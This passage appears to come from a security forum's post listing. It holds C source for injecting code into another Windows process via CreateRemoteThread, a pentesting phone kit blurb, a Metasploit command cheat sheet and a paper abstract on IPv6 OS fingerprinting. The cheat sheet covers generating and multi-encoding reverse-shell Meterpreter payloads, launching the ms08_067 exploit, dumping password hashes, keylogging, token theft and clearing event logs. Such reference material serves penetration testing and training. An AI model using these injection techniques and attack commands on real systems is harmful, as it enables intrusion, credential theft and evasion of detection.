FindWindow("Progman", NULL); GetWindowThreadProcessId(hWnd, &dwPid); Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL); return 0; } DWORD WINAPI RemoteThread(LPVOID lpParam) { char filename[MAX_PATH], msg[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), filename, MAX_PATH); sprintf(msg, "I am now inside of the remote process: %sn", filename); MessageBox(0, msg, "", MB_OK); ExitThread(0); return 0; } BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam) { HMODULE hModule, hNewModule; DWORD dwSize; HANDLE hProcess; PIMAGE_DOS_HEADER pDH; PIMAGE_NT_HEADERS pPE; if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL) return FALSE; hModule = GetModuleHandle(NULL); pDH = (PIMAGE_DOS_HEADER)hModule; pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew); dwSize = pPE->OptionalHeader.SizeOfImage; LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (lpNewAddr == NULL) return FALSE; CopyMemory(lpNewAddr, hModule, dwSize); hNewModule = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (hNewModule == NULL) return FALSE; PerformRebase(lpNewAddr, (DWORD)hNewModule); if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0) return FALSE; DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule; if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL) return FALSE; return TRUE; } BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase) { PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress; if (pDH->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew); if (pPE->Signature != IMAGE_NT_SIGNATURE) return FALSE; DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase; DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa); UINT c = 0; while (c < dwCb) { c += pBR->SizeOfBlock; int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress); WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION)); for (int i = 0; i < RelocCount; i++) { int type = areloc[i] >> 12; if (type == 0) continue; if (type != 3) return FALSE; int ofs = areloc[i] & 0x0fff; DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs); if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage) return FALSE; *pReloc += dwDelta; } pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock); } pPE->OptionalHeader.ImageBase = dwNewBase; return TRUE; } Sursa: http://www.progamercity.net/c-code/351-process-injection-relocation.html
  22. Nytro

    bani pe net

    Rog pe cei care ii dau PM sa imi spuna daca link-ul contine referrer.
  23. PwnieExpress : Pentesting suite for the Nokia N900 PwnieExpress providing one of the best Pentesting suite for the Nokia N900 cost $960.00 .It Includes Aircrack, Metasploit, Kismet, GrimWEPa, SET, Fasttrack, Ettercap, n map, and more, Custom pentesting screen with shortcuts to macchanger, injection on/off, etc. Built-in wireless card supports packet injection, monitor mode, and promiscuous mode also available : Try it: http://pwnieexpress.com/pwn_phone.html Sursa: PwnieExpress : Pentesting suite for the Nokia N900 ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  24. Metasploit Commands – CLI Index I was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading . This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities. MSFconsole Commands: show exploits Show all exploits within the Framework. show payloads Show all payloads within the Framework. show auxiliary Show all auxiliary modules within the Framework. search name Search for exploits or modules within the Framework. info Load information about a specific exploit or module. use name Load an exploit or module (example: use windows/smb/psexec). LHOST Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. RHOST The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). setg function Set a specific value globally (for example, LHOST or RHOST). show options Show the options available for a module or exploit. show targets Show the platforms supported by the exploit. set target num Specify a specific target index if you know the OS and service pack. set payload payload Specify the payload to use. show advanced Show advanced options. set autorunscript migrate -f Automatically migrate to a separate process upon exploit completion. check Determine whether a target is vulnerable to an attack. exploit Execute the module or exploit and attack the target.exploit -j Run the exploit under the context of the job. (This will run the exploit in the background.) exploit -z Do not interact with the session after successful exploitation. exploit -e encoder Specify the payload encoder to use (example: exploit –e shikata_ga_nai). exploit -h Display help for the exploit command. sessions -l List available sessions (used when handling multiple shells). sessions -l -v List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. sessions -s script Run a specific Meterpreter script on all Meterpreter live sessions. sessions -K Kill all live sessions. sessions -c cmd Execute a command on all live Meterpreter sessions. sessions -u sessionID Upgrade a normal Win32 shell to a Meterpreter console. db_create name Create a database to use with database-driven attacks (example: db_create autopwn). db_connect name Create and connect to a database for driven attacks (example: db_connect autopwn). db_n map Use n map and place results in database. (Normal n map syntax is supported, such as –sT –v –P0.) db_autopwn -h Display help for using db_autopwn. db_autopwn -p -r -e Run db_autopwn against all ports found, use a reverse shell, and exploit all systems. db_destroy Delete the current database. db_destroy user:password@host:port/database Delete database using advanced options. Meterpreter Commands help: run scriptname Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. sysinfo Show the system information on the compromised target. ls List the files and folders on the target. use priv Load the privilege extension for extended Meterpreter libraries. ps Show all running processes and which accounts are associated with each process. migrate PID Migrate to the specific process ID (PID is the target process ID gained from the ps command). use incognito Load incognito functions. (Used for token stealing and impersonation on a target machine.) list_tokens -u List available tokens on the target by user. list_tokens -g List available tokens on the target by group. impersonate_token DOMAIN_NAME\\USERNAME Impersonate a token available on the target. steal_token PID Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token. getsystem Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. shell Drop into an interactive shell with all available tokens. execute -f cmd.exe -i Execute cmd.exe and interact with it. execute -f cmd.exe -i -t Execute cmd.exe with all available tokens. execute -f cmd.exe -i -H -t Execute cmd.exe with all available tokens and make it a hidden process. rev2self Revert back to the original user you used to compromise the target. reg command Interact, create, delete, query, set, and much more in the target’s registry. setdesktop number Switch to a different screen based on who is logged in. screenshot Take a screenshot of the target’s screen. upload file Upload a file to the target. download file Download a file from the target. keyscan_start Start sniffing keystrokes on the remote target. keyscan_dump Dump the remote keys captured on the target. keyscan_stop Stop sniffing keystrokes on the remote target. getprivs Get as many privileges as possible on the target. uictl enable keyboard/mouse Take control of the keyboard and/or mouse. background Run your current Meterpreter shell in the background. hashdump Dump all hashes on the target. use sniffer Load the sniffer module. sniffer_interfaces List the available interfaces on the target. sniffer_dump interfaceID pcapname Start sniffing on the remote target. sniffer_start interfaceID packet-buffer Start sniffing with a specific range for a packet buffer. sniffer_stats interfaceID Grab statistical information from the interface you are sniffing. sniffer_stop interfaceID Stop the sniffer. add_user username password -h ip Add a user on the remote target. add_group_user "Domain Admins" username -h ip Add a username to the Domain Administrators group on the remote target. clearev Clear the event log on the target machine. timestomp Change file attributes, such as creation date (antiforensics measure). reboot Reboot the target machine. MSFpayload Commands: msfpayload -h List available payloads. msfpayload windows/meterpreter/bind_tcp O List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload). msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw Same as above, but export as raw format. This will be used later in msfencode msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c Same as above but export as C-formatted shellcode. msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java Export as %u encoded JavaScript. MSFencode Commands: msfencode -h Display the msfencode help. msfencode -l List the available encoders. msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho) Format to display the encoded buffer. msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe. msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe Create a multi-encoded payload. msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation. MSFcli Commands: msfcli | grep exploit Show only exploits. msfcli | grep exploit/windows Show only Windows exploits. msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443. Meterpreter Post Exploitation Commands: http://pastebin.com/VmTtcz0A P.S – This Cheat Sheet is borrowed from:Metasploit The Penetration Tester’s Guide Sursa: http://www.coresec.org/2011/07/28/metasploit-commands-cli-index/
  25. OS fingerprinting with IPv6 Author: Christoph Eckstein, christoph.eckstein @ samapartners.com Advisor: Antonios Atlasis Accepted: September 21st, 2011 Over the next years to come IPv6 will eventually replace IPv4 in private and public networks. This paper attempts to describe upcoming challenges and limitations as well as new methods of OS fingerprinting with the shift to IPv6. This includes performing network scans and finding live hosts to fingerprint. The focus of this paper will be on describing the changes made within the protocol headers in IPv6 and the consequences for OS fingerprinting. This covers known fingerprinting method with new IPv6 header fields and n... Download: http://www.sans.org/reading_room/whitepapers/testing/os-fingerprinting-ipv6_33794
×
×
  • Create New...